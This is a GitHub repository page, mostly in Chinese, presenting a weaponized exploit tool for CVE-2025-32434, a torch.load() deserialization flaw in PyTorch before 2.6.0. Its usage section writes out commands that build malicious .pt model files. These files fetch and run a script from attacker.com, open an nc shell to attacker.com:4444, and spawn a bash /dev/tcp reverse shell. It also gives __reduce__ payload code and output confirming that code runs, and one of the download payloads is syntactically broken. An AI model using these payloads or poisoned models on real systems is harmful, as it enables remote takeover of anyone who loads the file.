B1tBit/CVE-2025-32434-exploit
GitHub: B1tBit/CVE-2025-32434-exploit
针对 PyTorch < 2.6.0 版本中 torch.load() 反序列化漏洞的 RCE 利用工具,可绕过 weights_only=True 安全限制生成恶意模型文件。
Stars: 0 | Forks: 0
# 概述
此漏洞利用演示了 PyTorch < 2.6.0 版本中一个严重的远程代码执行漏洞 (CVE-2025-32434)。即使在使用了旨在防止模型反序列化期间执行任意代码的 `weights_only=True` 参数时,`torch.load()` 函数依然存在该缺陷。
该漏洞的产生是因为 `_weights_only_unpickler` 的实现未能正确限制反序列化操作,使得攻击者能够精心构造恶意的 `.pt` 模型文件。当存在漏洞的 PyTorch 环境加载这些文件时,会执行任意的系统命令。
**受影响版本:** PyTorch < 2.6.0
**CVSS 评分:** 严重 (估计 9.8)
**影响:** 在加载该模型的主机上实现完全的 RCE
# 用法
1. 将其保存为 exploit.py
2. 运行它以创建一个恶意模型文件:
```
# 基本用法 - 创建触及 /tmp/pwned 的模型
python3 exploit.py
# 执行自定义命令
python3 exploit.py -c "id > /tmp/whoami"
# 测试 exploit(加载模型以验证 RCE)
python3 exploit.py -c "id" -t
# 具有替代 bypass 的高级 exploit 变体
python3 exploit.py --advanced -c "curl -s http://attacker.com/shell.sh | bash" -t
# 保存到自定义文件名
python3 exploit.py -f evil_model.pt -c "nc -e /bin/sh attacker.com 4444"
```
输出示例:
```
=== CVE-2025-32434 PyTorch RCE Exploit ===
[*] Creating malicious PyTorch model...
[+] Malicious model saved as 'malicious_model.pt'
[+] Will execute command: touch /tmp/pwned
[+] Created malicious model: malicious_model.pt
[*] Testing exploit...
[+] PyTorch version: 2.5.1+cu121
[+] Version is vulnerable to CVE-2025-32434
[*] Loading malicious model with weights_only=True...
[*] This should be safe, but due to CVE-2025-32434 it's not!
[+] Model loaded successfully
```
# 自定义
修改 `create_malicious_model()` 或 `create_advanced_exploit()` 中的 `__reduce__()` 方法:
```
# 示例:Reverse shell payload
class ExploitPayload:
def __reduce__(self):
return (eval, ("__import__('os').system('bash -i >& /dev/tcp/10.0.0.1/4444 0>&1')",))
# 示例:文件下载 + 执行
return (eval, ("__import__('urllib.request').urlopen('http://attacker.com/payload.sh').read().decode().strip() | __import__('os').system",))
```
# 验证
检查目标漏洞
```
import torch
print(f"PyTorch: {torch.__version__}")
# 如果低于 2.6.0 则存在 Vulnerable
```
标签:AI安全, Chat Copilot, CISA项目, CVE-2025-32434, CVSS 9.8, Exploit, Go语言工具, POC, Python, PyTorch, RCE, torch.load, Unpickler, 凭据扫描, 反序列化漏洞, 反弹Shell, 密钥泄露防护, 恶意模型, 数据展示, 文档安全, 无后门, 机器学习安全, 模型文件投毒, 武器化, 红队, 编程工具, 网络安全, 远程代码执行, 逆向工具, 隐私保护, 高危漏洞